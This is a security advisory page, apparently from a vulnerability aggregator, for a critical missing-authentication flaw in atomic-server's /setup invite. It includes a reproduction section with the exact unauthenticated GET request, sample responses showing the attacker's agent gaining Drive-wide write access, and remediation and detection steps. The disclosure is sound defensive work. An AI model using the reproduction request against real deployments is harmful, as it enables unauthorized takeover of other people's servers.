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Atomic Server: Unauthenticated `/setup` invite grants write access to the entire DriveGHSA-pfwx-xjp4-qxcj

CRITICALFix: ontola/atomic-server@98517d8

GHSA-pfwx-xjp4-qxcj is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in atomic-server. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2026-69157
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pfwx-xjp4-qxcj.

Real-World Exposure

1 pkg affected
🦀atomic-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.

Severity

Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.

Affected component

  • server/src/appstate.rs — creates the /setup invite targeting the Drive root with write=true, usagesLeft=1.
  • server/src/plugins/invite.rs:14-173 — construct_invite_redirect destructures for_agent: _ (redeemer identity discarded); ?public-key= → Agent::new_from_public_key → add_rights(agent, target, write=true).

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.

  1. Confirm the invite is live — GET /setup (Accept: application/ad+json) shows invite/write = true, invite/target = http://localhost:9883 (Drive root), usagesLeft = 1.

  2. Redeem it anonymously with an attacker-generated ed25519 public key:

GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json

Response 200 OK returns a Redirect confirming the new agent:

{
  "https://atomicdata.dev/properties/invite/redirectAgent":
      "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
  "https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
  1. GET / shows the attacker is now in the Drive's write array:
"https://atomicdata.dev/properties/write": [
  "http://localhost:9883/agents/+/KwsAmyzc7S/...",                        // legit root
  "http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM="  // ATTACKER
]
  1. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and POST /commit (200) — the Drive root was successfully edited. Write access proven.

Expected: /setup must require operator authentication / a one-time secret. Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.

Impact

Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)

Remediation

  • Require a one-time secret (printed to stdout at startup) or operator authentication to redeem /setup.
  • Invalidate /setup after first use with an atomic usagesLeft decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.
  • Fix the inverted invite-expiry check in invite.rs (if expires > now { reject } is backwards, so expired invites remain redeemable and valid ones are rejected).

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🦀crates.ioatomic-server≥ 0.29.0No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for atomic-server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of atomic-server for GHSA-pfwx-xjp4-qxcj. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary atomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=<attacker_key>` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials. ## Severity **Critical —
O3 Security · Impact-Aware SCA

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